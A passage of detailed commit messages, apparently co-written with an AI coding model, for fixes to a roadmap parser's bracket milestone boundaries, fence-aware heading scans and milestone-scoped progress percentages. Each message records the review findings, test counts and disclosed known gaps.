DEVIATION from the reviewed plan, caught empirically: applying the
same-milestone rejection at the preambleCutoff site (as literally
specified) regressed an existing pin ("boundary heading level: a
level-1 CURRENT milestone heading also scopes correctly") and a
fenced-heading case (repro10 A3) — because preambleCutoff's job is
"where does the earliest milestone-shaped heading sit, scanning from
the TOP of the document," and the selected heading's own occurrence is
always a correct answer to that question regardless of same-id-ness;
rejecting it let the earliest-of-either comparison fall through to a
stray LATER heading instead. `selectedBracketId` is threaded through as
`null` at the preambleCutoff call site for this reason — bracket-shaped
(and, from the next commit, phase-tail) discrimination still applies
uniformly at both sites; only the same-milestone component is
call-site-specific, since it encodes a "keep scanning past this
heading" instruction with no counterpart in a top-of-document search.

Tests: new describe block "#612 PR-2 B1 round-2: a same-milestone
continuation heading is not a boundary" — RED-turned-GREEN fixtures for
repro8 case 1 and repro5, plus PINs for repro8 case 3 (trailing
different-id icebox still terminates) and repro10 A1 (all-version-
bearing + icebox + Phase Details stays exactly 2/1/50 — no double-count
from the same-milestone exclusion interacting with the pre-existing
detailsMatch re-append). syncedTotal()/syncedPercent() assertions
omitted from the repro10 A1 pin: that fixture carries dirs outside the
current milestone, which exposes the SEPARATE Major 1 defect
(cmdStateSync's body percent from an unfiltered disk scan) — asserted
once Major 1 is fixed, not here.

Full suite green (796/796 across the targeted adr-612 + roadmap-parser
+ state files); node scripts/lint-phase-id-drift.cjs clean; eslint
clean on both changed files.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): bracket boundary discriminates by content, not heading level (B2)

Gate-2 adversarial review Blocker 2: three sites disagreed about which
heading levels are a bracket milestone. The selector
(roadmap-parser.cts's bracket-fallback SELECTION branch,
`^#{1,3}\s+\[CODE.MM\]`) and `isMilestoneBounded` (state.cts) both
admit level 1-3, but isBracketMilestoneBoundary's level cap only
admitted level 1-2 (`h.level <= 2`, from the B1 commit). A `###`-level
bracket milestone heading was therefore SELECTED and BOUNDED but never
TERMINATED: computeSectionEnd ran with level=3, a level-3 SIBLING
milestone survived the pre-existing `h.level > level` (not-deeper)
filter, failed the version/emoji test (version-less), then failed
`h.level <= 2` — falling through to `return content.length` and
sweeping the sibling milestone's own phases into the current one.
Reproduces trek-e's original #612 defect verbatim ("a safe degrade
became a confidently-wrong persisted number") on a heading level the
selector and bounding predicate both already admit (repro2 case C:
4/75% instead of 2/100%; mechanism confirmed directly via repro7 —
extractCurrentMilestone returned the whole 214-byte document).

ADR-612 Decision 1 (docs/adr/612-bracket-phase-id-convention.md:56)
specifies the discriminator as CONTENT, not level: "a phase heading is
a bracket followed by a digit-then-colon ([GSD.02] 05:); a milestone
heading is a bracket followed by a name." Replaces the `level > 2`
rejection with BRACKET_PHASE_TAIL_RE — built by interpolating
phase-id.cts's single-owner phaseHeadingPrefixSrcFor(ANY_BRACKET,
'bracket', false) plus the digit + optional-tag + colon tail every
phase-heading counter in this file already spells, not a re-typed
grammar — and widens the level check to a depth-sanity cap of 3
(mirroring the selector's own `#{1,3}` ceiling; NOT itself a
phase/milestone discriminator). Covers the dotted sub-phase heading
form (`[GSD.02] 05.03:`) via the same `[\w][\w.-]*` token, pinned by a
new fixture — the shape where a regex slip in the tail grammar would
hide.

preambleCutoff's own raw-scan regex is widened from `^(#{1,2})` to
`^(#{1,3})` in lockstep: the outer pattern's level ceiling must track
the helper's cap, or a level-3 PRIOR milestone heading is invisible to
that scan and its own phase heading leaks into the preamble
un-stripped (a real double-count this widening closes, verified
against repro2 case C directly).

The existing "boundary heading level: a level-3 CURRENT milestone
heading still scopes correctly" pin (3e562f12) now passes via a
DIFFERENT mechanism than before — its own neighbours are version-
bearing, so it previously passed via the version/emoji rule (the level
cap was never actually exercised by that fixture, per the round-2
review's own finding); with the content discriminator, the SAME
fixture's level-3 phase headings are now correctly excluded because
they are phase-tail-shaped, not because they are too deep. A
deliberate mechanism change, confirmed by re-running that test green
after this commit.

Also updates the "every selector call site declares the right
baseline" governance pin (adr-612-bracket-heading-selection.test.cjs):
BRACKET_PHASE_TAIL_RE is a new, legitimate ANY_BRACKET call site in
roadmap-parser.cts (always passing the literal 'bracket' convention,
since its only caller is already gated on bracketBoundaryActive) —
EXPECTED count bumped 1->2, with a matching BASE_SITES transcription
entry (identical src to every other ANY_BRACKET site, since the
function is pure).

Tests: new describe block "#612 PR-2 B2 round-2: the bracket boundary
is a CONTENT discriminator, not a level cap" — RED-turned-GREEN for
repro2 case C (exact total AND truthful percent, since
isMilestoneBounded already returns true at #{1,3}) and repro7's
mechanism, a PIN for the dotted sub-phase form, and a re-pin of repro8
case 3 (icebox) under the new mechanism.

Full suite green (907/907 across the targeted adr-612 + roadmap-parser
+ state + phase-id files); node scripts/lint-phase-id-drift.cjs clean;
eslint clean on all changed files.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): fence-aware preamble cutoff on the bracket branch (Blocker 3)

Gate-2 adversarial review Blocker 3: preambleCutoff's bracket scan used
a raw content.match/matchAll — blind to fenced code blocks — while its
sibling computeSectionEnd (a few lines above it) already consumed
tokenizeHeadings(content), which strips fences. The two halves of one
boundary semantic disagreed about what a heading is.

A fenced markdown example in the preamble containing a bracket heading
(ADR-612's own docs do exactly this) was textually the earliest
`#{1,3} [CODE.MM]` match: preambleCutoff landed INSIDE the fence,
`preamble = content.slice(0, preambleCutoff)` ended with an unclosed
opener, and the unbalanced fence then blinded
getMilestonePhaseFilter's own tokenizeHeadings(scope) call — every
heading in the returned scope vanished, phaseCount degraded to 0, and
the pass-all filter admitted every directory on disk (repro11's
mechanism, confirmed directly: fence count 1/odd, tokenizeHeadings(scope)
-> only "Roadmap"). Regression vs round-1, which had no bracket pattern
to blind and so fell back to the correct heading (repro12 bracket row:
2/1/50 at round-1, 4/3/75 at HEAD).

Fixed by hoisting one tokenizeHeadings(content) call
(currentMilestoneHeadings) shared by computeSectionEnd and the
preambleCutoff scan, which now iterates that same fence-aware token
list instead of a raw regex. HeadingToken.text is already hash-stripped
and trimmed, so isBracketMilestoneBoundary needs no `^#{1,3}\s+`
re-derivation at this site (that spelling would not match h.text — a
note the round-2 review called out explicitly, confirmed while
porting). selectedBracketId stays `null` here, unchanged from the B1
commit's same-milestone-exclusion reasoning.

DISCLOSED, not fixed (explicitly out of scope per the round-2 review's
own minimal-fix note): the LEGACY (non-bracket) anyMilestonePattern
raw-match path shares the identical fence-blindness hazard and stays
byte-identical — a bracket repo whose preamble has a fenced
VERSION-BEARING heading still has the legacy raw-match win the
earliest-of-either min() (repro12's LEGACY control: 4/3/75, unchanged
across base/round-1/HEAD/this commit). Pinned here so a future reviewer
files this as a known, pre-existing gap rather than a new regression.

Tests: new describe block "#612 PR-2 Blocker 3 round-2: preambleCutoff
is fence-aware (bracket branch only)" — RED-turned-GREEN for repro12's
bracket row and repro11's mechanism (fence balance + non-degraded
phaseCount + correct per-directory admission), a PIN for repro12's
LEGACY control (the disclosed gap, explicitly unchanged), and a PIN for
repro10 A3 (a fenced heading INSIDE the current section must still not
terminate it).

Full suite green (1072/1072 across the targeted adr-612 + roadmap-
parser + state + phase-id + markdown-sectionizer files); node
scripts/lint-phase-id-drift.cjs clean; eslint clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): scope cmdStateSync's disk scan by milestone under bracket (Major 1)

Gate-2 adversarial review Major 1: `state sync` wrote a Progress
PERCENT computed from an UNFILTERED whole-disk scan, beside the
milestone-scoped total_phases/completed_phases it writes into the same
STATE.md via the refreshed frontmatter (syncStateFrontmatter ->
buildStateFrontmatter, which has always applied getMilestonePhaseFilter
for the READ path). cmdStateSync's own `fs.readdirSync` chain (the
WRITE-path scan) never called the milestone filter at all, unlike
buildStateFrontmatter's identical-purpose scan. One command therefore
wrote two contradictory numbers into one file: on the ADR-canonical
version-less bracket fixture (4 dirs, 3 complete; asserted milestone =
2 phases, both complete), base wrote total_phases:2/completed_phases:2
(correct, from the READ derivation) alongside body Progress 75% (wrong
— from the unfiltered WRITE derivation; repro3).

Fixed by threading `getMilestonePhaseFilter(cwd)` through the same
`.filter()` chain buildStateFrontmatter already applies, gated on
`syncConvention === 'bracket'` (falling back to a pass-all predicate
otherwise) — so totalDiskPlans/totalDiskSummaries/diskCompletedPhases/
syncTotalPhases become milestone-scoped under bracket, byte-identical
under legacy.

DEVIATION (approved, stated plainly): an earlier phrasing of this fix
called for mirroring buildStateFrontmatter's filter UNCONDITIONALLY.
Implemented GATED instead — an unconditional filter would ALSO move
every LEGACY repo's persisted percent, since the milestone-scoping-vs-
whole-disk divergence this closes is engine-wide, not bracket-specific.
The gate keeps legacy byte-identical, which is the binding constraint:
this is a bracket read-path PR, not a legacy behavior change.

Nit 2 (informational, no code change): 10 calls to
extractCurrentMilestone on a legacy repo cost 10 config.json
existsSync + 10 readFileSync (0 before B3); accepted, unmemoized cost,
unaffected by this commit.

Also folds in two minors from the round-2 review:
- Corrects .changeset/2761-bracket-read-tolerance.md: the sibling-
  exclusion sentence now states it holds at any heading level 1-3 and
  across a milestone split over two headings (true again now that
  Blockers 1 and 2 are fixed); the percent sentence states plainly that
  `state sync`'s body percent is now milestone-scoped under bracket,
  and unaffected under legacy.
- Records the read/write scoping divergence at currentMilestoneRawRanges
  (src/roadmap-parser.cts) in a comment: it did not receive B1/B2's
  bracket boundary fixes, currently harmless (its only consumer falls
  back to whole-content mutation, and every mutation there is still
  Phase-labelled-only, not bracket-widened), but live the moment the
  write path is bracket-widened — flagged so a future PR closes it in
  lockstep with that work, not after.

Tests: 6 pre-existing tests in tests/adr-612-bracket-phase-counting.test.cjs
needed fixture updates, not logic changes — they used the default
single directory (`GSD.02-01-setup`, phase "01"), which the SENTINEL/
retirement/mixed-heading fixtures in those tests never declare as a
real phase (only 04/05/06/999/etc are declared). Before this fix,
cmdStateSync's unfiltered scan counted that off-roadmap directory
anyway; after this fix the milestone filter correctly excludes it,
which for several of these fixtures made `state sync` a no-op (the
computed 0% coincided with STATE.md's initial template default) and
broke `syncedTotal()`/`syncedPercent()`'s ability to observe anything.
Updated each to pass an EXPLICIT directory naming one of the fixture's
REAL declared phases, preserving each test's original numerator/
denominator intent. One test — "shape 2 WRITE" — was substantively
rewritten: it was a CHARACTERIZATION of the Major 1 bug itself ("the
DISCLOSED legacy gap, mirrored — not closed"), and now correctly pins
bracket closing to 33% (agrees with the read path) while legacy stays
at the disclosed 60% (unchanged, deliberately, per the gating decision
above).

Full suite green: `npm test` 1449/1449 (0 fail, 0 skipped, 0 todo,
single-shard "all" run — includes issue-2765-brace-expansion-lockfile
passing); `npm run lint:ci` clean (0 errors; 2 pre-existing timing-
assertion warnings in files this PR does not touch); node
scripts/lint-phase-id-drift.cjs clean; node scripts/changeset/lint.cjs
ok.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): preambleCutoff identity is offset- and child-aware (round-3 Blocker 1)

Gate-2 round-3 re-verify Blocker 1 (NEW): the round-2 B1 deviation
(39c42a89) threaded `selectedBracketId` as the real value at
computeSectionEnd but as bare `null` at the preambleCutoff scan. The
deviation's rationale — "the selected heading's own occurrence is
always a correct earliest answer" — was right, but `null` disables the
same-milestone check for EVERY candidate, not just the selected one.
Any bracket-shaped heading earlier than the selected milestone was
accepted as a boundary regardless of identity: a same-id checklist/
overview heading preceding the version-bearing selected heading (cases
A, B — the version lands on the LATER half of a split, or a plain
overview heading with no "(Phase Details)" spelling), or a DIFFERENT-id
bracket-shaped PROSE heading with no children of its own sitting above
the current milestone's content (case D — `## [ADR.612] Heading
convention used by this roadmap`). In every case the region between
that false boundary and the real sectionStart was silently dropped —
a completed phase vanished and `state sync` persisted a confident 0%
where base and round-1 both correctly wrote 50%. Regression vs base
AND round-1 (not merely "under-fixed", per the round-3 review's own
severity note).

Fixed with two changes, both scoped to the preambleCutoff scan only
(computeSectionEnd already threads the real `selectedBracketId` and is
untouched):

(a) `h.offset === sectionStart` now bypasses BOTH the same-milestone
    check inside isBracketMilestoneBoundary (passing the REAL
    `selectedBracketId` for every other candidate) and the new child
    rule below — the selected heading's own position is definitionally
    the correct answer, so neither discriminator should run against it
    (rejecting it would mean rejecting the heading against ITSELF).
    Closes cases A and B — verified by the reviewer's own one-liner,
    reproduced here.

(b) New `bracketHeadingHasMatchingChild`: an otherwise-accepted
    candidate (bracket-shaped, not phase-tail-shaped, not the same id
    as the selected milestone) must ALSO have a next-strictly-deeper
    heading carrying its OWN bracket id to count as a boundary. This is
    what a genuine sibling milestone has (its own phase children share
    its bracket id — `## [GSD.01] Setup` / `### [GSD.01] 01: …`) and an
    unrelated bracket-shaped prose heading does not. A candidate with
    no such child at all (childless — e.g. an empty prior milestone, or
    one immediately followed by a same-or-shallower heading) degrades
    to NOT a boundary — over-inclusive, the safe direction: its own
    heading text stays in the preamble, contributing nothing to any
    phase count (not phase-shaped). Closes case D, which (a) alone does
    not — verified: without this rule, `[ADR.612]`'s prose heading is
    indistinguishable from a genuine prior sibling at this site.

As a side effect, also neutralizes Nit 2 (a colon-less `[GSD.02] 05`
heading spuriously terminating the preamble): a colon-less bracket
heading is not phase-tail-shaped so isBracketMilestoneBoundary alone
would accept it, but it is — precisely because it is malformed/
incomplete rather than a real milestone — childless, so the child rule
rejects it too. Pinned.

Known interaction with the fence-blind SELECTION path (disclosed by
the reviewer, not introduced here, tracked for the next commit): when
`sectionPattern` selects a FENCED version-bearing heading (an
extremely pathological shape — a fenced example whose text happens to
match STATE's asserted version), no token exists at `sectionStart`, so
the `h.offset === sectionStart` bypass never fires and the loop falls
through to the ordinary same-id / child-rule checks. This composes
with the round-3 Major 1 fix (next commit) rather than introducing a
new defect — SELECTION itself is untouched by any of this — but is
worth stating plainly rather than rediscovering.

Tests: new describe block "#612 PR-2 Blocker 1 round-3: preambleCutoff
identity is offset- and child-aware" — RED-turned-GREEN for cases A, B
(rv-attack1) and D (rv-attack1b) with syncedTotal()/syncedPercent()
assertions (the persisted 0% is the point), a PIN for a genuine prior
sibling with real children (still excluded), a PIN for a childless
prior sibling (degrades to not-cutting, over-inclusive/safe), a PIN
for the colon-less Nit 2 shape, and the reviewer's rv-mech1 mechanism
re-run as a proper test (scope now equals the full input document,
phaseCount 2, both dirs accepted).

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 937/937 pass (930 baseline + 7 new). node
scripts/lint-phase-id-drift.cjs clean; eslint clean on both changed
files.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): fence-aware version/emoji half of preambleCutoff on the bracket branch (round-3 Major 1)

Gate-2 round-3 re-verify Major 1 (NEW): ff6bf0a8 (round-2 Blocker 3)
made the BRACKET half of preambleCutoff's "earliest milestone-shaped
heading" search fence-aware, but left the VERSION/emoji half a raw
`content.match` even on the bracket branch. A fenced VERSION-BEARING
example heading in a bracket repo's preamble (ADR-612's own docs
illustrate the LEGACY heading shape exactly this way, inside a fenced
authoring-guide block) was still textually the earliest match for that
raw regex, winning the min() and un-suppressing a wrong persisted 75%
that base correctly suppressed (rv-attack3c fixture C1: base
suppressed the percent entirely — `isMilestoneBounded` false — HEAD
wrote 75% where truth is 50%).

Fixed by deriving the version/emoji half from the SAME fence-aware
`currentMilestoneHeadings` token list as the bracket half, on the
bracket branch only — the exact `/^Phase\s+\S/i` / `/v\d+\.\d+|✅|📋|🚧/i`
pair `computeSectionEnd` already uses against `h.text`. The non-bracket
(legacy) path is untouched: it keeps the raw `content.match`, byte-
identical to before, including its own fence-blindness (repro12's
LEGACY control, pinned unchanged in the round-2 Blocker-3 test block —
not re-pinned here to avoid duplicating an already-covered assertion).

Not rated Blocker (per the review) because it is not a regression vs
round-1 and the fixture (a version-BEARING fenced example in a bracket
repo) is rarer than the already-fixed bracket-heading case; still
fixed now rather than disclosed, per this arc's own precedent (every
prior "disclose instead of fix" call in this PR has been overturned on
re-review).

Tests: new describe block "#612 PR-2 Major 1 round-3: preambleCutoff's
version/emoji half is fence-aware on the bracket branch" — RED-turned-
GREEN for case C1 (readTotal + syncedPercent, so the persisted 75% is
directly observed, not just the read-path total), PIN for case C2 (the
already-fixed fenced-bracket-heading shape, unchanged).

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 939/939 pass (937 + 2 new). node scripts/lint-phase-id-drift.cjs
clean; eslint clean on both changed files.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2761): correct changeset claims + mark runtime-gated BASE_SITES row (round-3 minors)

Gate-2 round-3 re-verify Minor 2: three changeset sentences in
.changeset/2761-bracket-read-tolerance.md were overstated in a new
direction after round-2:

- The split-milestone claim ("across a milestone split over two
  headings") was true only when the version-bearing heading came
  FIRST (repro8 case 1); false when it came LATER (round-3 Blocker 1
  case A). Now restated to say plainly "with the version-bearing
  heading in EITHER position" — true again now that round-3's Blocker
  1 fix lands earlier in this range.
- The "counted from the phases... rather than from every directory on
  disk" claim was false on cases A/B/D (a strict subset of the
  milestone's own phases). Restated as "ALL of the phases... not a
  subset", and extended to state that an unrelated bracket-shaped
  heading with no phase children of its own (case D's `[ADR.612]`
  shape) does not truncate the milestone either — true now, not before.
- "Each widened read is SELECTED by the project's phase_id_convention"
  was literally false for BRACKET_PHASE_TAIL_RE, which is RUNTIME-gated
  (via its only caller, isBracketMilestoneBoundary, itself only
  consulted when bracketBoundaryActive) rather than selector-gated.
  Restated behaviourally: "every widened read ENGAGES only when the
  project's resolved phase_id_convention is bracket" — true for both
  gating mechanisms, so it no longer implies a selector call this site
  does not make.

Minor 1: the STRUCTURAL IDENTITY test's BASE_SITES row for
BRACKET_PHASE_TAIL_RE (added in the B2 commit) asserts a property of
`phaseHeadingPrefixSrcFor` — the function — not of the call site; it
would pass unchanged even if the site were deleted. Safety at that
specific site rests entirely on a runtime gate the test cannot see.
Added `runtimeGated: true` to the row and threaded it into the
generated test's own title (`… [runtime-gated, not selector-covered]`),
so the gating mechanism is visible in test OUTPUT, not only in a source
comment that could drift silently.

No production code changed. Targeted suite green (48/48 in the
affected file); `node scripts/changeset/lint.cjs` ok; eslint clean.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): harden round-3 preamble cutoff — subtree child scan + level cap

Team-lead review of f87bba0e found two edges in the round-3 preamble-
cutoff code, both hardened here.

AMENDMENT 1 — bracketHeadingHasMatchingChild (2e06aef5) checked only
`headings[index + 1]`, the IMMEDIATE next heading, not the candidate's
whole subtree. A genuine prior sibling milestone whose section opens
with a non-bracket subsection before its first phase heading
(`## [GSD.01] Setup` / `### Notes` / `### [GSD.01] 01: Old`) was
therefore wrongly rejected as a boundary — its real phase heading sits
TWO headings deep, not one — leaking its entire section into the
preamble unstripped.

CONFIRMED RED, not merely theoretical (built and ran the fixture
against f87bba0e before touching the fix, per instruction): scope
membership DOES drive the disk-side filter on this shape.
`GSD.01-01-old`'s directory was wrongly admitted into the CURRENT
milestone's filter via the leaked heading's qualified key
(`GSD.01-01`) — 3/2/67% where truth is 2/1/50%.

Fixed by scanning the candidate's full SUBTREE: continue past a
non-matching deeper heading instead of returning false on the first
one; only a same-or-shallower heading actually closes the subtree and
yields "no match found". A candidate whose entire subtree closes with
no same-id hit (including a genuinely childless one) still degrades to
`false` — over-inclusive, safe, unchanged from before.

AMENDMENT 2 — c483552a ported the version/emoji half of preambleCutoff
to the token-based scan with no level cap; the raw
`content.match(anyMilestonePattern)` it replaced was anchored
`^#{1,3}\s+`. A level-4+ version-bearing heading in the preamble
(`#### v2.0 notes`) therefore won the scan on the bracket branch where
the raw pattern — and the legacy path, unaffected — ignores it
outright. Fixed with `if (h.level > 3) continue;`, mirroring the
depth-sanity cap isBracketMilestoneBoundary already applies to the
bracket half of this same scan.

Tests: new describe block "#612 PR-2 round-3 hardening: subtree child
scan + level cap on preambleCutoff" —
- RED-turned-GREEN for the Notes-intervening fixture: exact 2/1/50 (was
  3/2/67), plus the disk-filter observable (`GSD.01-01-old` now
  correctly excluded).
- PIN for the level-4 preamble heading: the scope now PRESERVES the
  heading's text (was silently dropped before this fix — harmless in
  this minimal fixture's total_phases specifically, since the dropped
  text carries no phase-shaped content, but a real correctness gap
  against the raw pattern's own ceiling) — asserted via scope content,
  not total_phases, since that number is invariant here either way.
- PIN for the LEGACY control on the same level-4 shape — unchanged,
  confirming the raw content.match path is untouched.

Re-verified the existing genuine-prior-sibling and childless-sibling
pins (round-3 Blocker 1 commit) still pass under the subtree scan —
both fixtures' outcomes are unchanged since their same-id hit (or its
absence) was already at the first deeper heading.

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 942/942 pass (939 + 3 new). node scripts/lint-phase-id-drift.cjs
clean; eslint clean on both changed files. Full `npm test` + `npm run
lint:ci` deferred to the team lead's own run per instruction.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): bracketHeadingHasMatchingChild requires a same-id PHASE child (round-4 Blocker 1)

Gate-2 round-4 re-verify Blocker 1 (NEW): the round-3 hardening's
subtree scan (fbfd0fca) proved SAME-ID-NESS but never asked whether
the matching child was PHASE-shaped. Case F1 re-opens round-3's case D
one heading later: `## [ADR.612] Heading convention` is followed by
its OWN sub-heading `### [ADR.612] Examples` — same bracket id as the
candidate, but MILESTONE-shaped (a name, no digit-then-colon), not a
phase. Same-id-ness alone satisfied the subtree scan and re-cut the
preamble at exactly the shape the round-3 hardening was written to
close.

Failing input: `## [ADR.612] Heading convention` / `### [ADR.612]
Examples` (prose) / `### [GSD.02] 01: One` (the current milestone's
own first phase, now unreachable) / `## [GSD.02] v2.0: Foundation` /
`### [GSD.02] 02: Two`. Truth 2/1/50. HEAD read 1/0/0, and `state sync`
reported "nothing to do" (exit 0, `{synced:true,changes:[]}`) because
its wrong 0% happened to equal the STATE.md seed — a half-done
milestone read as untouched with no write-path signal at all.

Fixed with the reviewer's one-conjunct addition: a same-id child only
counts if it is ALSO phase-tail-shaped (`BRACKET_PHASE_TAIL_RE`) — the
same single-owner discriminator `isBracketMilestoneBoundary` already
uses one level up for the identical distinction (phase vs milestone),
reused here rather than re-derived. This is exactly what the
changeset's own wording already claimed ("no phase children of its
own") — the code now matches the sentence rather than the other way
around.

Docstring updated at the function itself: the rule is "same-id PHASE
child", not "same-id child".

Tests: new describe block "#612 PR-2 round-4 Blocker 1: the same-id
child must be PHASE-shaped" — RED-turned-GREEN for F1 with
syncedTotal()/syncedPercent() (the persisted 0% — and the
report-nothing-to-do write-path silence — is the point), PINs for F11
(colon-less same-id child) and F11b (bullet-only phase list): both
correctly stay excluded either way, and the leak the phase-shape
requirement newly creates for these two shapes is INERT — a colon-less
heading forms no qualified key (getMilestonePhaseFilter's own
phase-heading pattern requires the colon too) and a bracket bullet
never matches the legacy-only BULLET_PHASE_LINE_PATTERN — confirmed
directly via getMilestonePhaseFilter, not merely inferred. Re-verified
the four existing child-rule pins (F2 subtree-closure, F3 deep-nested
same-id, F4 level-4 same-id, F5 childless-at-EOF) are unaffected by the
phase-shape requirement, since every one of them already used a
colon-bearing same-id child.

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 946/946 pass (942 + 4 new). Zero drift measured across the full F1-F12
corpus except F1 itself (F9/F10/F12 remain red, deferred to the
separate Major 1 fix). node scripts/lint-phase-id-drift.cjs clean;
eslint clean on both changed files.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): fence-aware phase counting, milestone bounding, and bracket-fallback selection (round-4 Major 1)

Gate-2 round-4 re-verify Major 1 (NEW): roadmapPhaseCount is a
fence-blind raw `.exec()` over the scope string, duplicated in TWO
independent copies (buildStateFrontmatter's read path, cmdStateSync's
write path). With the bracket alternative now compiled into it (#612),
a fenced EXAMPLE phase heading in the preamble inflates total_phases
and persists a wrong percent that base got right. Two further
fence-blind sites participate: isMilestoneBounded (a raw
`.test(roadmapRaw)`) and the bracket-fallback SELECTOR inside
extractCurrentMilestone (a raw `content.matchAll`, only reachable when
version-string selection finds nothing).

Failing inputs:
- F10 (clean isolate, version-bearing selection): a fenced
  `### [GSD.02] 05: Example phase` in the preamble inflates
  total_phases 2->3, persisting 33% where truth is 50%. LEGACY control
  on the same shape is correct on every build — not a pre-existing
  hazard being inherited, bracket-only.
- F9 (version-less selection): a fenced example carrying the project's
  OWN milestone id additionally confuses the bracket-fallback selector
  (the fenced heading gets SELECTED), compounding with the same
  fence-blind counter. base suppressed the percent; round-1 and HEAD
  both wrote 33%.
- F12 (isMilestoneBounded isolate): the ONLY `[GSD.02]` heading in the
  document is inside a fence, and the asserted milestone genuinely has
  no section at all — HEAD persisted 67% where base correctly
  suppressed the percent (the milestone is absent from the roadmap).

Fixed at the CONSUMER level, not the producer — extractCurrentMilestone's
returned scope string is deliberately UNCHANGED, since every other
consumer of that string needs its full content fidelity and legacy
identity forbids touching the shared string (this branch's own
precedent, ff6bf0a8/c483552a, was producer-level; here the ruling is
consumer-level because the string is shared far more broadly than the
two round-3 fixes' narrower producer edits):

(a) New `countRoadmapPhaseHeadings` (src/state.cts, immediately above
    extractRetiredPhaseNumbers) — ONE shared implementation for both
    call sites, replacing two independently-maintained copies. BRACKET
    convention counts via `tokenizeHeadings(scope)` at levels 2-4,
    testing each heading's hash-stripped text directly — fence-aware by
    construction, since tokenizeHeadings never produces a token for a
    fenced line. LEGACY convention keeps the exact pre-existing raw
    `.exec()` loop, byte-for-byte. A pre-existing, deliberately
    PRESERVED asymmetry between the two original call sites — the read
    path always excluded a bare `/^999\b/` token, the write path never
    did — is threaded through as an explicit
    `includeUnconditional999Check` parameter per call site, so sharing
    the implementation does not silently unify (and thereby move)
    either total.
(b) isMilestoneBounded's bracket branch now scans
    `tokenizeHeadings(roadmapRaw)` for a matching heading (level <= 3)
    instead of a raw regex test. Legacy version-string branch untouched.
(c) The bracket-fallback SELECTOR now builds its candidate set from
    `tokenizeHeadings(content)` instead of `content.matchAll`,
    reconstructing a match-shaped array so every downstream consumer of
    `headingMatches` sees the identical shape the raw-regex path always
    produced. This is the ONE site in this entire arc where SELECTION
    itself changes — selection SEMANTICS are otherwise unchanged (same
    pattern, same first-match-wins by document order); only the
    candidate set is now fence-aware. Pinned that unfenced selection is
    byte-identical.

Zero drift measured across the full historical corpus (repro2-13,
rv-attack1/1b/3c, rv-mech1, rv2-amend1/2, and F1-F11b) except the three
target fixtures.

Tests: new describe block "#612 PR-2 round-4 Major 1: four fence-blind
sites on the bracket path" — RED-turned-GREEN for F10 (with
syncedTotal()/syncedPercent()) and F9 (both layers), PINs for F10's
LEGACY control and F10c (non-phase-shaped fence, unaffected either
way), RED-turned-GREEN for F12 (asserts the percent KEY is absent from
`state json`'s output and that `state sync`'s body stays at its
unmodified seed — the persisted-suppression signal, not merely a
total_phases number), and an explicit PIN that unfenced bracket-fallback
selection (first real milestone-shaped heading wins, no fences
involved) is unaffected.

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 952/952 pass (946 + 6 new). node scripts/lint-phase-id-drift.cjs
clean; eslint clean on all three changed files.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2761): correct docstring overstatement + stale consumer-count sentence (round-4 minors)

Gate-2 round-4 re-verify Minor 1 + Nit 1. No production code changed.

Minor 1: bracketHeadingHasMatchingChild's own docstring said a
rejected (no-same-id-PHASE-child) candidate's degrade "contributes
nothing to any phase count" — true of the candidate's OWN heading
text, but not of its SUBTREE, which is what actually stays in the
preamble. F7 (`## [GSD.01] Setup` / `### [GSD.07] 01: Foreign`) shows
a DIFFERENT-id bracket PHASE heading inside a rejected candidate's
subtree DOES form a qualified key and CAN admit a foreign directory —
3/2/67%, stable across base, round-1 and HEAD (base via its own
pass-all degrade). Not a regression, still the declared over-inclusive
/ never-under-inclusive safe direction — the comment now says that,
with F7's numbers cited, at the call site that actually decides
`isBoundary` (roadmap-parser.cts's preambleCutoff loop) rather than
only at the helper's own definition.

Minor 2 (changeset) — VERIFIED, no wording change needed: re-ran F1,
F9, F10, F12 at this HEAD. The "no phase children of its own... does
not truncate it either" sentence (naming the `[ADR.612]` shape
directly) is now literally true — F1 reads 2/1/50. The "counted from
ALL of the phases... not a subset" sentence is now true on every
measured shape — F1/F9/F10 all read 2/1/50, F12 correctly suppresses
the percent. No carve-out for F9/F10 is needed since round-4 Major 1
(3be5c412) closes both; per the fix-round instruction to "only carve
out anything genuinely left," nothing is.

Nit 1: tests/adr-612-bracket-heading-selection.test.cjs's runtimeGated
row claimed `BRACKET_HEADING_INTRO_RE` has "no other consumers" — true
when round-3's f87bba0e wrote it, stale since 2e06aef5 (round-3's own
earlier commit) had already added two more uses inside
bracketHeadingHasMatchingChild. Corrected to state the true count
(three consumers) and re-confirm the conclusion is unaffected: all
three are still nested inside the same bracketBoundaryActive runtime
gate, and BRACKET_HEADING_INTRO_RE is built from BRACKET_ID_SRC, not
phaseHeadingPrefixSrcFor, so it was never a selector site regardless of
consumer count.

Targeted suite green: `node --test tests/adr-612-*.test.cjs
tests/roadmap-parser.test.cjs tests/state.test.cjs tests/verify.test.cjs`
-> 952/952 pass (comment-only changes, no count movement). eslint
clean; node scripts/changeset/lint.cjs ok.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#2761): restore the bracketId guard in countRoadmapPhaseHeadings (round-5 Blocker 1)

Gate-2 round-5 re-verify Blocker 1 (NEW, introduced by 3be5c412): the
merge that created the shared countRoadmapPhaseHeadings helper dropped
